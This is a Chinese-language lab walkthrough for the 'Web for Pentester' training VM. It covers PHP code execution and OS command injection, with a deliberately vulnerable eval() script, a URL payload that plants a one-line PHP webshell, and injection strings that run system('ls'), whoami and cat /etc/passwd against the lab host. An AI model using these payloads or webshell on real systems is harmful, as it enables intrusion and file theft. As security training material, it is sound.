Web for Pentester 代码执行

原理

由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并交由服务端执行。命令注入攻击中,Web 服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。+

实例代码

1
2
3
4
5
<?php
// code-exe.php:
$code=@$_GET['code'];//http://localhost/subject/code-exe.php?code=
echo "<center>Payload:".$code."<br/>Result:</center>
eval($code);

整个代码就三行,第一行用于从 URL 参数中读取code参数的值。第二行用于输出该参数的值,用于检查该参数。第三行直接将该参数当做 PHP 代码执行。由于不存在任何过滤,就会产生代码执行漏洞。+

我们在该文件的目录下执行php -S 0.0.0.0:80,之后访问http://localhost/code-exe.php?code=phpinfo();,我们可以看到该代码执行了phpinfo函数。

利用

我们可以将 URL 中code参数值换成不同的 PHP 代码,使其执行不同的 PHP 代码。利用此漏洞的关键还是熟悉所有可用的 PHP 代码。
比如,可以使用phpinfo或者echo等调试函数来判定漏洞。最重要的是,可以利用这个漏洞写入 Webshell,代码如下:

1
2
3
$file='mst.php'; // 一句话木马的文件名
$person='<?php @eval($_POST[1]);?>'; // 一句话文件名的代码
file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // 当key.php文件不存在会自动创建,如果存在就会添加

我们需要把这三行代码写入 URL 中,得到的 URL 是这样:http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);

payload

1
http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);

访问之后,当前目录就会多出一个mst.php,内容为<?php @eval($_POST[1]);?>,这个就是一句话木马。由于不是讲工具的章节,这里就不拿菜刀演示了。+

在实际代码中,当然不可能这么短,就需要大家使用eval和exec作为关键词来搜索可能的漏洞点。另外,实际代码中还可能在执行之前对$code进行过滤,也需要大家发挥创造性,绕过过滤来成功利用它。

解题指南 Code Injection

Example 1 (eval)

英文单引号,英文双引号测试。发现双引号时报错,阅读错误信息后发现后端使用eval函数。

1
2
3
http://192.168.56.101/codeexec/example1.php?name=hacker
http://192.168.56.101/codeexec/example1.php?name=hacker%27
http://192.168.56.101/codeexec/example1.php?name=hacker%22

尝试如下构造
eval(name="".system('ls');$a="")
这样我们的输入就是

1
2
?name=".system('ls');$a="
http://192.168.56.101/codeexec/example1.php?name=%22.system(%27ls%27);$a=%22

或者
eval(name="".phpinfo();$a="")
这样我们的输入是

1
2
?name="".phpinfo();$a="
http://192.168.56.101/codeexec/example1.php?name=%22.phpinfo();$a=%22

Example 2 (usort)

英文单引号,英文双引号测试。发现单引号时报错,阅读错误信息后发现后端使用usort函数。

尝试闭合usort()自定义函数,构造过程参考文档

1
2
3
order=id);}system('ls');//
order=id);}system(%27ls%27);//
http://192.168.56.101/codeexec/example2.php?order=id);}system(%27ls%27);//

Example 3 (Preg_replace)

Preg_replace()函数在/e模式下会将新输入的值当成php代码执行
Preg_replace()函数试图执行hacker时出现问题,因为这是一个常量,可以修改成php代码

1
http://192.168.56.101/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer

Example 4 (assert)

英文单引号,英文双引号测试。发现单引号时报错,阅读错误信息后发现后端使用assert函数。

核心payload

1
2
hacker%27.system(%27ls%27);%27
http://192.168.56.101/codeexec/example4.php?name=hacker%27.system(%27whoami%27);%27

解题指南 Command Injection

Example 1

1 使用;添加后续命令

1
http://192.168.56.101/commandexec/example1.php?ip=127.0.0.1;ls

2 使用管道操作添加命令

1
2
http://192.168.56.101/commandexec/example1.php?ip=127.0.0.1|%20cat%20/etc/passwd
http://192.168.56.101/commandexec/example1.php?ip=127.0.0.1|%20uname%20-a

Example 2

这里使用了符号%0a来分割

1
http://192.168.56.101/commandexec/example2.php?ip=127.0.0.1%0als

Example 3

测试发现程序在运行时无论输入什么命令都会回到ip=127.0.0.1,抓包发现程序有个302跳转。

并且在返回的页面中可以看到注入的命令被执行

总结

总体感觉这两类漏洞,从黑盒角度测试有一点凭运气的状态,难度比较大。
从白盒审计角度可能比较容易找。

参考资料

Web for pentester I part 2
http://www.atomsec.org/%E5%AE%89%E5%85%A8/web_for_pentester_i-part-2/